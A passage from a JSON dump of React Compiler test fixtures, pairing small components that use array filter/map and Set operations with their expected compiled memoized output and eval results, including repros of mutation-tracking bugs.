<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.tsx",
    "content": "import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag\n * Found differences in evaluator results\n  * Non-forget (expected):\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * Forget:\n  * (kind: ok)\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n  * <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\",\"wat1\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Also see repro-array-map-known-mutate-shape, which calls a global function\n * that mutates its operands.\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(Boolean);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Also see repro-array-map-known-mutate-shape, which calls a global function\n * that mutates its operands.\n */\nfunction Component(t0) {\n  const $ = _c(13);\n  const { value } = t0;\n  let t1;\n  let t2;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { value: \"foo\" };\n    t2 = { value: \"bar\" };\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t1 = $[0];\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== value) {\n    t3 = [t1, t2, { value }];\n    $[2] = value;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  const arr = t3;\n  useIdentity(null);\n  let t4;\n  if ($[4] !== arr) {\n    t4 = arr.filter(Boolean);\n    $[4] = arr;\n    $[5] = t4;\n  } else {\n    t4 = $[5];\n  }\n  const derived = t4;\n  let t5;\n  if ($[6] !== derived) {\n    t5 = derived.at(0);\n    $[6] = derived;\n    $[7] = t5;\n  } else {\n    t5 = $[7];\n  }\n  let t6;\n  if ($[8] !== derived) {\n    t6 = derived.at(-1);\n    $[8] = derived;\n    $[9] = t6;\n  } else {\n    t6 = $[9];\n  }\n  let t7;\n  if ($[10] !== t5 || $[11] !== t6) {\n    t7 = (\n      <Stringify>\n        {t5}\n        {t6}\n      </Stringify>\n    );\n    $[10] = t5;\n    $[11] = t6;\n    $[12] = t7;\n  } else {\n    t7 = $[12];\n  }\n  return t7;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[{\"value\":\"foo\"},{\"value\":5}]}</div>\n<div>{\"children\":[{\"value\":\"foo\"},{\"value\":6}]}</div>\n<div>{\"children\":[{\"value\":\"foo\"},{\"value\":6}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.tsx",
    "content": "import {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Also see repro-array-map-known-mutate-shape, which calls a global function\n * that mutates its operands.\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.filter(Boolean);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any\n * function call which captures its callee when applying an operand.\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.map(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutateAndReturn, Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any\n * function call which captures its callee when applying an operand.\n */\nfunction Component(t0) {\n  const $ = _c(7);\n  const { value } = t0;\n  const arr = [{ value: \"foo\" }, { value: \"bar\" }, { value }];\n  useIdentity(null);\n  const derived = arr.map(mutateAndReturn);\n  let t1;\n  if ($[0] !== derived) {\n    t1 = derived.at(0);\n    $[0] = derived;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== derived) {\n    t2 = derived.at(-1);\n    $[2] = derived;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <Stringify>\n        {t1}\n        {t2}\n      </Stringify>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":5,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>\n<div>{\"children\":[{\"value\":\"foo\",\"wat0\":\"joe\"},{\"value\":6,\"wat0\":\"joe\"}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.tsx",
    "content": "import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any\n * function call which captures its callee when applying an operand.\n */\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity(null);\n  const derived = arr.map(mutateAndReturn);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Also see repro-array-map-known-nonmutate-Boolean, which calls a global\n * function that does *not* mutate its operands.\n */\nfunction Component({value}) {\n  const arr = [\n    new Set([['foo', 2]]).values(),\n    new Set([['bar', 4]]).values(),\n    [['baz', value]],\n  ];\n  useIdentity(null);\n  const derived = arr.map(Object.fromEntries);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, useIdentity } from \"shared-runtime\";\n\n/**\n * Also see repro-array-map-known-nonmutate-Boolean, which calls a global\n * function that does *not* mutate its operands.\n */\nfunction Component(t0) {\n  const $ = _c(7);\n  const { value } = t0;\n  const arr = [\n    new Set([[\"foo\", 2]]).values(),\n    new Set([[\"bar\", 4]]).values(),\n    [[\"baz\", value]],\n  ];\n\n  useIdentity(null);\n  const derived = arr.map(Object.fromEntries);\n  let t1;\n  if ($[0] !== derived) {\n    t1 = derived.at(0);\n    $[0] = derived;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] !== derived) {\n    t2 = derived.at(-1);\n    $[2] = derived;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== t1 || $[5] !== t2) {\n    t3 = (\n      <Stringify>\n        {t1}\n        {t2}\n      </Stringify>\n    );\n    $[4] = t1;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"children\":[{\"foo\":2},{\"baz\":5}]}</div>\n<div>{\"children\":[{\"foo\":2},{\"baz\":6}]}</div>\n<div>{\"children\":[{\"foo\":2},{\"baz\":6}]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.tsx",
    "content": "import {Stringify, useIdentity} from 'shared-runtime';\n\n/**\n * Also see repro-array-map-known-nonmutate-Boolean, which calls a global\n * function that does *not* mutate its operands.\n */\nfunction Component({value}) {\n  const arr = [\n    new Set([['foo', 2]]).values(),\n    new Set([['bar', 4]]).values(),\n    [['baz', value]],\n  ];\n  useIdentity(null);\n  const derived = arr.map(Object.fromEntries);\n  return (\n    <Stringify>\n      {derived.at(0)}\n      {derived.at(-1)}\n    </Stringify>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  const arr = makeArray(el1);\n  s.add(arr);\n  // Mutate after store\n  arr.push(el2);\n\n  s.add(makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(5);\n  const { el1, el2 } = t0;\n  let s;\n  if ($[0] !== el1 || $[1] !== el2) {\n    s = new Set();\n    const arr = makeArray(el1);\n    s.add(arr);\n\n    arr.push(el2);\n    let t1;\n    if ($[3] !== el2) {\n      t1 = makeArray(el2);\n      $[3] = el2;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    s.add(t1);\n    $[0] = el1;\n    $[1] = el2;\n    $[2] = s;\n  } else {\n    s = $[2];\n  }\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ el1: 1, el2: \"foo\" }],\n  sequentialRenders: [\n    { el1: 1, el2: \"foo\" },\n    { el1: 2, el2: \"foo\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.ts",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  const arr = makeArray(el1);\n  s.add(arr);\n  // Mutate after store\n  arr.push(el2);\n\n  s.add(makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.expect.md",
    "content": "\n## Input\n\n```javascript\nconst MODULE_LOCAL = new Set([4, 5, 6]);\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  /* Array can be memoized separately of the Set */\n  const s1 = new Set([1, 2, 3]);\n  s1.add(propArr[0]);\n\n  /* but `.values` cannot be memoized separately */\n  const s2 = new Set(MODULE_LOCAL.values());\n  s2.add(propArr[1]);\n\n  const s3 = new Set(s2.values());\n  s3.add(propArr[2]);\n\n  /**\n   * s4 should be memoized separately from s3\n   */\n  const s4 = new Set(s3);\n  s4.add(propArr[3]);\n  return [s1, s2, s3, s4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [{propArr: [7, 8, 9]}, {propArr: [7, 8, 10]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst MODULE_LOCAL = new Set([4, 5, 6]);\nfunction useFoo(t0) {\n  const $ = _c(15);\n  const { propArr } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [1, 2, 3];\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let s1;\n  if ($[1] !== propArr[0]) {\n    s1 = new Set(t1);\n    s1.add(propArr[0]);\n    $[1] = propArr[0];\n    $[2] = s1;\n  } else {\n    s1 = $[2];\n  }\n  let s2;\n  let s3;\n  if ($[3] !== propArr[1] || $[4] !== propArr[2]) {\n    s2 = new Set(MODULE_LOCAL.values());\n    s2.add(propArr[1]);\n    s3 = new Set(s2.values());\n    s3.add(propArr[2]);\n    $[3] = propArr[1];\n    $[4] = propArr[2];\n    $[5] = s2;\n    $[6] = s3;\n  } else {\n    s2 = $[5];\n    s3 = $[6];\n  }\n  let s4;\n  if ($[7] !== propArr[3] || $[8] !== s3) {\n    s4 = new Set(s3);\n    s4.add(propArr[3]);\n    $[7] = propArr[3];\n    $[8] = s3;\n    $[9] = s4;\n  } else {\n    s4 = $[9];\n  }\n  let t2;\n  if ($[10] !== s1 || $[11] !== s2 || $[12] !== s3 || $[13] !== s4) {\n    t2 = [s1, s2, s3, s4];\n    $[10] = s1;\n    $[11] = s2;\n    $[12] = s3;\n    $[13] = s4;\n    $[14] = t2;\n  } else {\n    t2 = $[14];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ propArr: [7, 8, 9] }],\n  sequentialRenders: [{ propArr: [7, 8, 9] }, { propArr: [7, 8, 10] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"kind\":\"Set\",\"value\":[1,2,3,7]},{\"kind\":\"Set\",\"value\":[4,5,6,8]},{\"kind\":\"Set\",\"value\":[4,5,6,8,9]},{\"kind\":\"Set\",\"value\":[4,5,6,8,9,null]}]\n[{\"kind\":\"Set\",\"value\":[1,2,3,7]},{\"kind\":\"Set\",\"value\":[4,5,6,8]},{\"kind\":\"Set\",\"value\":[4,5,6,8,10]},{\"kind\":\"Set\",\"value\":[4,5,6,8,10,null]}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.ts",
    "content": "const MODULE_LOCAL = new Set([4, 5, 6]);\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  /* Array can be memoized separately of the Set */\n  const s1 = new Set([1, 2, 3]);\n  s1.add(propArr[0]);\n\n  /* but `.values` cannot be memoized separately */\n  const s2 = new Set(MODULE_LOCAL.values());\n  s2.add(propArr[1]);\n\n  const s3 = new Set(s2.values());\n  s3.add(propArr[2]);\n\n  /**\n   * s4 should be memoized separately from s3\n   */\n  const s4 = new Set(s3);\n  s4.add(propArr[3]);\n  return [s1, s2, s3, s4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [{propArr: [7, 8, 9]}, {propArr: [7, 8, 10]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  s.add(makeArray(el1));\n  s.add(makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  const $ = _c(7);\n  const { el1, el2 } = t0;\n  let s;\n  if ($[0] !== el1 || $[1] !== el2) {\n    s = new Set();\n    let t1;\n    if ($[3] !== el1) {\n      t1 = makeArray(el1);\n      $[3] = el1;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    s.add(t1);\n    let t2;\n    if ($[5] !== el2) {\n      t2 = makeArray(el2);\n      $[5] = el2;\n      $[6] = t2;\n    } else {\n      t2 = $[6];\n    }\n    s.add(t2);\n    $[0] = el1;\n    $[1] = el2;\n    $[2] = s;\n  } else {\n    s = $[2];\n  }\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ el1: 1, el2: \"foo\" }],\n  sequentialRenders: [\n    { el1: 1, el2: \"foo\" },\n    { el1: 2, el2: \"foo\" },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2\n2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.ts",
    "content": "import {makeArray} from 'shared-runtime';\n\nfunction useHook({el1, el2}) {\n  const s = new Set();\n  s.add(makeArray(el1));\n  s.add(makeArray(el2));\n  return s.size;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{el1: 1, el2: 'foo'}],\n  sequentialRenders: [\n    {el1: 1, el2: 'foo'},\n    {el1: 2, el2: 'foo'},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, mutate} from 'shared-runtime';\n\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  const s1 = new Set<number | Array<number>>([1, 2, 3]);\n  s1.add(makeArray(propArr[0]));\n\n  const s2 = new Set(s1);\n  // this may also may mutate s1\n  mutate(s2);\n\n  return [s1, s2];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 10]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { makeArray, mutate } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(6);\n  const { propArr } = t0;\n  let s1;\n  let s2;\n  if ($[0] !== propArr[0]) {\n    s1 = new Set([1, 2, 3]);\n    s1.add(makeArray(propArr[0]));\n    s2 = new Set(s1);\n\n    mutate(s2);\n    $[0] = propArr[0];\n    $[1] = s1;\n    $[2] = s2;\n  } else {\n    s1 = $[1];\n    s2 = $[2];\n  }\n  let t1;\n  if ($[3] !== s1 || $[4] !== s2) {\n    t1 = [s1, s2];\n    $[3] = s1;\n    $[4] = s2;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ propArr: [7, 8, 9] }],\n  sequentialRenders: [\n    { propArr: [7, 8, 9] },\n    { propArr: [7, 8, 9] },\n    { propArr: [7, 8, 10] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]\n[{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]\n[{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.ts",
    "content": "import {makeArray, mutate} from 'shared-runtime';\n\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  const s1 = new Set<number | Array<number>>([1, 2, 3]);\n  s1.add(makeArray(propArr[0]));\n\n  const s2 = new Set(s1);\n  // this may also may mutate s1\n  mutate(s2);\n\n  return [s1, s2];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 10]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray, useHook} from 'shared-runtime';\n\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  const s1 = new Set<number | Array<number>>([1, 2, 3]);\n  s1.add(makeArray(propArr[0]));\n\n  useHook();\n  const s2 = new Set();\n  for (const el of s1.values()) {\n    s2.add(el);\n  }\n\n  return [s1, s2];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 10]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { makeArray, useHook } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const { propArr } = t0;\n  const s1 = new Set([1, 2, 3]);\n  s1.add(makeArray(propArr[0]));\n\n  useHook();\n  const s2 = new Set();\n  for (const el of s1.values()) {\n    s2.add(el);\n  }\n\n  return [s1, s2];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ propArr: [7, 8, 9] }],\n  sequentialRenders: [\n    { propArr: [7, 8, 9] },\n    { propArr: [7, 8, 9] },\n    { propArr: [7, 8, 10] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]\n[{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]\n[{\"kind\":\"Set\",\"value\":[1,2,3,[7]]},{\"kind\":\"Set\",\"value\":[1,2,3,\"[[ cyclic ref *2 ]]\"]}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-for-of-iterate-values.ts",
    "content": "import {makeArray, useHook} from 'shared-runtime';\n\nfunction useFoo({propArr}: {propArr: Array<number>}) {\n  const s1 = new Set<number | Array<number>>([1, 2, 3]);\n  s1.add(makeArray(propArr[0]));\n\n  useHook();\n  const s2 = new Set();\n  for (const el of s1.values()) {\n    s2.add(el);\n  }\n\n  return [s1, s2];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{propArr: [7, 8, 9]}],\n  sequentialRenders: [\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 9]},\n    {propArr: [7, 8, 10]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = new Set(arr).forEach(mutateAndReturn);\n  return <Stringify>{[...derived]}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutateAndReturn, Stringify, useIdentity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  const arr = [{ value: \"foo\" }, { value: \"bar\" }, { value }];\n  useIdentity();\n  const derived = new Set(arr).forEach(mutateAndReturn);\n  let t1;\n  if ($[0] !== derived) {\n    t1 = <Stringify>{[...derived]}</Stringify>;\n    $[0] = derived;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 5 }],\n  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }, { value: 7 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: derived is not iterable ]]\n[[ (exception in render) TypeError: derived is not iterable ]]\n[[ (exception in render) TypeError: derived is not iterable ]]\n[[ (exception in render) TypeError: derived is not iterable ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-foreach-mutate.tsx",
    "content": "import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Component({value}) {\n  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];\n  useIdentity();\n  const derived = new Set(arr).forEach(mutateAndReturn);\n  return <Stringify>{[...derived]}</Stringify>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 5}],\n  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = Boolean(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const y = Boolean(x);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [x, y];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Boolean.js",
